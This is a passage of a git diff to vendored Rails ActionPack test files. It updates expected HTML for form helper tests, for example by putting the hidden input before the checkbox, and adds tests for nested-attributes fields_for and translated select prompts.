+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret", "id" => "i mean it")
     )
     assert_dom_equal text_field("post", "title", "id" => "dont guess"),
@@ -324,7 +412,7 @@ class FormHelperTest < ActionView::TestCase
       text_area("post[]", "body")
     )
     assert_dom_equal(
-      "<input checked=\"checked\" id=\"post_#{pid}_secret\" name=\"post[#{pid}][secret]\" type=\"checkbox\" value=\"1\" /><input name=\"post[#{pid}][secret]\" type=\"hidden\" value=\"0\" />",
+      "<input name=\"post[#{pid}][secret]\" type=\"hidden\" value=\"0\" /><input checked=\"checked\" id=\"post_#{pid}_secret\" name=\"post[#{pid}][secret]\" type=\"checkbox\" value=\"1\" />",
       check_box("post[]", "secret")
     )
    assert_dom_equal(
@@ -350,8 +438,8 @@ class FormHelperTest < ActionView::TestCase
       "<label for='post_title'>Title</label>" +
       "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
       "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
       "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
       "<input name='commit' id='post_submit' type='submit' value='Create post' />" +
       "</form>"
 
@@ -367,11 +455,11 @@ class FormHelperTest < ActionView::TestCase
 
     expected =
       "<form action='http://www.example.com' id='create-post' method='post'>" +
-      "<div style='margin:0;padding:0'><input name='_method' type='hidden' value='put' /></div>" +
+      "<div style='margin:0;padding:0;display:inline'><input name='_method' type='hidden' value='put' /></div>" +
       "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
       "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
       "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
       "</form>"
 
     assert_dom_equal expected, output_buffer
@@ -388,8 +476,8 @@ class FormHelperTest < ActionView::TestCase
       "<form action='http://www.example.com' id='create-post' method='post'>" +
       "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
       "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
       "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
       "</form>"
 
     assert_dom_equal expected, output_buffer
@@ -408,8 +496,8 @@ class FormHelperTest < ActionView::TestCase
       "<label for=\"post_123_title\">Title</label>" +
       "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
       "<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />" +
       "<input name='post[123][secret]' type='hidden' value='0' />" +
+      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />" +
       "</form>"
 
     assert_dom_equal expected, output_buffer
@@ -426,8 +514,8 @@ class FormHelperTest < ActionView::TestCase
       "<form action='http://www.example.com' method='post'>" +
       "<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
       "<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />" +
       "<input name='post[][secret]' type='hidden' value='0' />" +
+      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />" +
       "</form>"
 
     assert_dom_equal expected, output_buffer
@@ -463,7 +551,7 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal expected, output_buffer
   end
 
-  def test_nested_fields_for_with_index
+  def test_nested_fields_for_with_index_and_parent_fields
     form_for('post', @post, :index => 1) do |c|
       concat c.text_field(:title)
       c.fields_for('comment', @comment, :index => 1) do |r|
@@ -479,7 +567,7 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal expected, output_buffer
   end
 
-  def test_nested_fields_for_with_index
+  def test_form_for_with_index_and_nested_fields_for
     form_for(:post, @post, :index => 1) do |f|
       f.fields_for(:comment, @post) do |c|
         concat c.text_field(:title)
@@ -521,6 +609,20 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal expected, output_buffer
   end
 
+  def test_nested_fields_for_with_index_radio_button
+    form_for(:post, @post) do |f|
+      f.fields_for(:comment, @post, :index => 5) do |c|
+        concat c.radio_button(:title, "hello")
+      end
+    end
+
+    expected = "<form action='http://www.example.com' method='post'>" +
+               "<input name='post[comment][5][title]' type='radio' id='post_comment_5_title_hello' value='hello' />" +
+               "</form>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
   def test_nested_fields_for_with_auto_index_on_both
     form_for("post[]", @post) do |f|
       f.fields_for("comment[]", @post) do |c|
@@ -558,6 +660,283 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal expected, output_buffer
   end
 
+  def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_association
+    @post.author = Author.new
+
+    form_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      f.fields_for(:author) do |af|
+        concat af.text_field(:name)
+      end
+    end
+
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+               '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="new author" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
+    form_for(:post, @post) do |f|
+      f.fields_for(:author, Author.new(123)) do |af|
+        assert_not_nil af.object
+        assert_equal 123, af.object.id
+      end
+    end
+  end
+
+  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association
+    @post.author = Author.new(321)
+
+    form_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      f.fields_for(:author) do |af|
+        concat af.text_field(:name)
+      end
+    end
+
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+               '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
+               '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+  end
+  
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
+    @post.author = Author.new(321)
+
+    form_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      f.fields_for(:author) do |af|
+        concat af.hidden_field(:id)
+        concat af.text_field(:name)
+      end
+    end
+    
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+               '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+               '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        f.fields_for(:comments, comment) do |cf|
+          concat cf.text_field(:name)
+        end
+      end
+    end
+
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
+               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
+               '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        f.fields_for(:comments, comment) do |cf|
+          concat cf.hidden_field(:id)
+          concat cf.text_field(:name)
+        end
+      end
+    end
+    
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
+               '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
+               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new, Comment.new]
+
+    form_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        f.fields_for(:comments, comment) do |cf|
+          concat cf.text_field(:name)
+        end
+      end
+    end
+
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="new comment" />' +
+               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new(321), Comment.new]
+
+    form_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        f.fields_for(:comments, comment) do |cf|
+          concat cf.text_field(:name)
+        end
+      end
+    end
+
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
+               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_an_empty_supplied_attributes_collection
+    form_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      f.fields_for(:comments, []) do |cf|
+        concat cf.text_field(:name)
+      end
+    end
+
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      f.fields_for(:comments, @post.comments) do |cf|
+        concat cf.text_field(:name)
+      end
+    end
+
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
+               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
+               '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_only_builder
+    @post.comments = [Comment.new(321), Comment.new]
+    yielded_comments = []
+
+    form_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      f.fields_for(:comments) do |cf|
+        concat cf.text_field(:name)
+        yielded_comments << cf.object
+      end
+    end
+
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
+               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+    assert_equal yielded_comments, @post.comments
+  end
+
+  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
+    @post.comments = []
+
+    form_for(:post, @post) do |f|
+      f.fields_for(:comments, Comment.new(321), :child_index => 'abc') do |cf|
+        concat cf.text_field(:name)
+      end
+    end
+
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" size="30" type="text" value="comment #321" />' +
+               '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_uses_unique_indices_for_different_collection_associations
+    @post.comments = [Comment.new(321)]
+    @post.tags = [Tag.new(123), Tag.new(456)]
+    @post.comments[0].relevances = []
+    @post.tags[0].relevances = []
+    @post.tags[1].relevances = []
+    form_for(:post, @post) do |f|
+      f.fields_for(:comments, @post.comments[0]) do |cf|
+        concat cf.text_field(:name)
+        cf.fields_for(:relevances, CommentRelevance.new(314)) do |crf|
+          concat crf.text_field(:value)
+        end
+      end
+      f.fields_for(:tags, @post.tags[0]) do |tf|
+        concat tf.text_field(:value)
+        tf.fields_for(:relevances, TagRelevance.new(3141)) do |trf|
+          concat trf.text_field(:value)
+        end
+      end
+      f.fields_for('tags', @post.tags[1]) do |tf|
+        concat tf.text_field(:value)
+        tf.fields_for(:relevances, TagRelevance.new(31415)) do |trf|
+          concat trf.text_field(:value)
+        end
+      end
+    end
+
+    expected = '<form action="http://www.example.com" method="post">' +
+               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
+               '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" size="30" type="text" value="commentrelevance #314" />' +
+               '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' +
+               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+               '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" size="30" type="text" value="tag #123" />' +
+               '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" size="30" type="text" value="tagrelevance #3141" />' +
+               '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' +
+               '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" />' +
+               '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" size="30" type="text" value="tag #456" />' +
+               '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" size="30" type="text" value="tagrelevance #31415" />' +
+               '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' +
+               '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" />' +
+               '</form>'
+
+    assert_dom_equal expected, output_buffer
+  end
+
   def test_fields_for
     fields_for(:post, @post) do |f|
       concat f.text_field(:title)
@@ -568,8 +947,8 @@ class FormHelperTest < ActionView::TestCase
     expected =
       "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
       "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "<input name='post[secret]' type='hidden' value='0' />"
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
 
     assert_dom_equal expected, output_buffer
   end
@@ -584,8 +963,8 @@ class FormHelperTest < ActionView::TestCase
     expected =
       "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
       "<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />" +
-      "<input name='post[123][secret]' type='hidden' value='0' />"
+      "<input name='post[123][secret]' type='hidden' value='0' />" +
+      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
 
     assert_dom_equal expected, output_buffer
   end
@@ -600,8 +979,8 @@ class FormHelperTest < ActionView::TestCase
     expected =
       "<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
       "<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />" +
-      "<input name='post[][secret]' type='hidden' value='0' />"
+      "<input name='post[][secret]' type='hidden' value='0' />" +
+      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
 
     assert_dom_equal expected, output_buffer
   end
@@ -616,8 +995,8 @@ class FormHelperTest < ActionView::TestCase
     expected =
       "<input name='post[abc][title]' size='30' type='text' id='post_abc_title' value='Hello World' />" +
       "<textarea name='post[abc][body]' id='post_abc_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />" +
-      "<input name='post[abc][secret]' type='hidden' value='0' />"
+      "<input name='post[abc][secret]' type='hidden' value='0' />" +
+      "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
 
     assert_dom_equal expected, output_buffer
   end
@@ -632,8 +1011,8 @@ class FormHelperTest < ActionView::TestCase
     expected =
       "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
       "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "<input name='post[secret]' type='hidden' value='0' />"
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
 
     assert_dom_equal expected, output_buffer
   end
@@ -648,8 +1027,8 @@ class FormHelperTest < ActionView::TestCase
     expected =
       "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
       "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "<input name='post[secret]' type='hidden' value='0' />"
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
 
     assert_dom_equal expected, output_buffer
   end
@@ -694,8 +1073,8 @@ class FormHelperTest < ActionView::TestCase
       "<form action='http://www.example.com' id='create-post' method='post'>" +
       "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
       "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />" +
       "<input name='parent_post[secret]' type='hidden' value='0' />" +
+      "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />" +
       "</form>"
 
     assert_dom_equal expected, output_buffer
@@ -725,7 +1104,7 @@ class FormHelperTest < ActionView::TestCase
     (field_helpers - %w(hidden_field)).each do |selector|
       src = <<-END_SRC
         def #{selector}(field, *args, &proc)
-          "<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>"
+          ("<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>").html_safe!
         end
       END_SRC
       class_eval src, __FILE__, __LINE__
@@ -743,8 +1122,7 @@ class FormHelperTest < ActionView::TestCase
       "<form action='http://www.example.com' method='post'>" +
       "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
       "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "<input name='post[secret]' type='hidden' value='0' /><br/>" +
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
       "</form>"
 
     assert_dom_equal expected, output_buffer
@@ -764,8 +1142,7 @@ class FormHelperTest < ActionView::TestCase
       "<form action='http://www.example.com' method='post'>" +
       "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
       "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "<input name='post[secret]' type='hidden' value='0' /><br/>" +
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
       "</form>"
 
     assert_dom_equal expected, output_buffer
@@ -820,8 +1197,7 @@ class FormHelperTest < ActionView::TestCase
        %(<form action="http://www.example.com" onsubmit="new Ajax.Request('http://www.example.com', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" method="post">) +
        "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
        "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-       "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-       "<input name='post[secret]' type='hidden' value='0' /><br/>" +
+       "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
        "</form>"
 
      assert_dom_equal expected, output_buffer
@@ -837,12 +1213,52 @@ class FormHelperTest < ActionView::TestCase
     expected =
       "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
       "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "<input name='post[secret]' type='hidden' value='0' /><br/>"
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
 
     assert_dom_equal expected, output_buffer
   end
 
+  def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash
+    klass = nil
+
+    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
+      f.fields_for(:comments, Comment.new) do |nested_fields|
+        klass = nested_fields.class
+        ''
+      end
+    end
+
+    assert_equal LabelledFormBuilder, klass
+  end
+
+  def test_form_for_with_labelled_builder_with_nested_fields_for_with_options_hash
+    klass = nil
+
+    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
+      f.fields_for(:comments, Comment.new, :index => 'foo') do |nested_fields|
+        klass = nested_fields.class
+        ''
+      end
+    end
+
+    assert_equal LabelledFormBuilder, klass
+  end
+
+  class LabelledFormBuilderSubclass < LabelledFormBuilder; end
+
+  def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder
+    klass = nil
+
+    form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
+      f.fields_for(:comments, Comment.new, :builder => LabelledFormBuilderSubclass) do |nested_fields|
+        klass = nested_fields.class
+        ''
+      end
+    end
+
+    assert_equal LabelledFormBuilderSubclass, klass
+  end
+
   def test_form_for_with_html_options_adds_options_to_form_tag
     form_for(:post, @post, :html => {:id => 'some_form', :class => 'some_class'}) do |f| end
     expected = "<form action=\"http://www.example.com\" class=\"some_class\" id=\"some_form\" method=\"post\"></form>"
@@ -873,7 +1289,7 @@ class FormHelperTest < ActionView::TestCase
   def test_form_for_with_existing_object
     form_for(@post) do |f| end
 
-    expected = "<form action=\"/posts/123\" class=\"edit_post\" id=\"edit_post_123\" method=\"post\"><div style=\"margin:0;padding:0\"><input name=\"_method\" type=\"hidden\" value=\"put\" /></div></form>"
+    expected = "<form action=\"/posts/123\" class=\"edit_post\" id=\"edit_post_123\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"_method\" type=\"hidden\" value=\"put\" /></div></form>"
     assert_equal expected, output_buffer
   end
 
@@ -894,7 +1310,7 @@ class FormHelperTest < ActionView::TestCase
 
     form_for([@post, @comment]) {}
 
-    expected = %(<form action="#{comment_path(@post, @comment)}" class="edit_comment" id="edit_comment_1" method="post"><div style="margin:0;padding:0"><input name="_method" type="hidden" value="put" /></div></form>)
+    expected = %(<form action="#{comment_path(@post, @comment)}" class="edit_comment" id="edit_comment_1" method="post"><div style="margin:0;padding:0;display:inline"><input name="_method" type="hidden" value="put" /></div></form>)
     assert_dom_equal expected, output_buffer
   end
 
@@ -913,7 +1329,7 @@ class FormHelperTest < ActionView::TestCase
 
     form_for([:admin, @post, @comment]) {}
 
-    expected = %(<form action="#{admin_comment_path(@post, @comment)}" class="edit_comment" id="edit_comment_1" method="post"><div style="margin:0;padding:0"><input name="_method" type="hidden" value="put" /></div></form>)
+    expected = %(<form action="#{admin_comment_path(@post, @comment)}" class="edit_comment" id="edit_comment_1" method="post"><div style="margin:0;padding:0;display:inline"><input name="_method" type="hidden" value="put" /></div></form>)
     assert_dom_equal expected, output_buffer
   end
 
@@ -929,7 +1345,7 @@ class FormHelperTest < ActionView::TestCase
   def test_form_for_with_existing_object_and_custom_url
     form_for(@post, :url => "/super_posts") do |f| end
 
-    expected = "<form action=\"/super_posts\" class=\"edit_post\" id=\"edit_post_123\" method=\"post\"><div style=\"margin:0;padding:0\"><input name=\"_method\" type=\"hidden\" value=\"put\" /></div></form>"
+    expected = "<form action=\"/super_posts\" class=\"edit_post\" id=\"edit_post_123\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"_method\" type=\"hidden\" value=\"put\" /></div></form>"
     assert_equal expected, output_buffer
   end
 
diff --git a/vendor/rails/actionpack/test/template/form_options_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/form_options_helper_i18n_test.rb
new file mode 100644
index 00000000..91e370ef
--- /dev/null
+++ b/vendor/rails/actionpack/test/template/form_options_helper_i18n_test.rb
@@ -0,0 +1,27 @@
+require 'abstract_unit'
+
+class FormOptionsHelperI18nTests < ActionView::TestCase
+  tests ActionView::Helpers::FormOptionsHelper
+
+  def setup
+    @prompt_message = 'Select!'
+    I18n.backend.send(:init_translations)
+    I18n.backend.store_translations :en, :support => { :select => { :prompt => @prompt_message } }
+  end
+
+  def teardown
+    I18n.backend = I18n::Backend::Simple.new
+  end
+
+  def test_select_with_prompt_true_translates_prompt_message
+    I18n.expects(:translate).with('support.select.prompt', { :default => 'Please select' })
+    select('post', 'category', [], :prompt => true)
+  end
+
+  def test_select_with_translated_prompt
+    assert_dom_equal(
+      %Q(<select id="post_category" name="post[category]"><option value="">#{@prompt_message}</option>\n</select>),
+      select('post', 'category', [], :prompt => true)
+    )
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/template/form_options_helper_test.rb b/vendor/rails/actionpack/test/template/form_options_helper_test.rb
index a33eb85b..aa40e46a 100644
--- a/vendor/rails/actionpack/test/template/form_options_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/form_options_helper_test.rb
@@ -1,685 +1,807 @@
 require 'abstract_unit'
+require 'tzinfo'
 
 TZInfo::Timezone.cattr_reader :loaded_zones
 
-uses_mocha "FormOptionsHelperTest" do
-  class FormOptionsHelperTest < ActionView::TestCase
-    tests ActionView::Helpers::FormOptionsHelper
+class FormOptionsHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::FormOptionsHelper
 
-    silence_warnings do
-      Post        = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin)
-      Continent   = Struct.new('Continent', :continent_name, :countries)
-      Country     = Struct.new('Country', :country_id, :country_name)
-      Firm        = Struct.new('Firm', :time_zone)
-      Album       = Struct.new('Album', :id, :title, :genre)
+  silence_warnings do
+    Post        = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin)
+    Continent   = Struct.new('Continent', :continent_name, :countries)
+    Country     = Struct.new('Country', :country_id, :country_name)
+    Firm        = Struct.new('Firm', :time_zone)
+    Album       = Struct.new('Album', :id, :title, :genre)
+  end
+
+  def setup
+    @fake_timezones = %w(A B C D E).inject([]) do |zones, id|
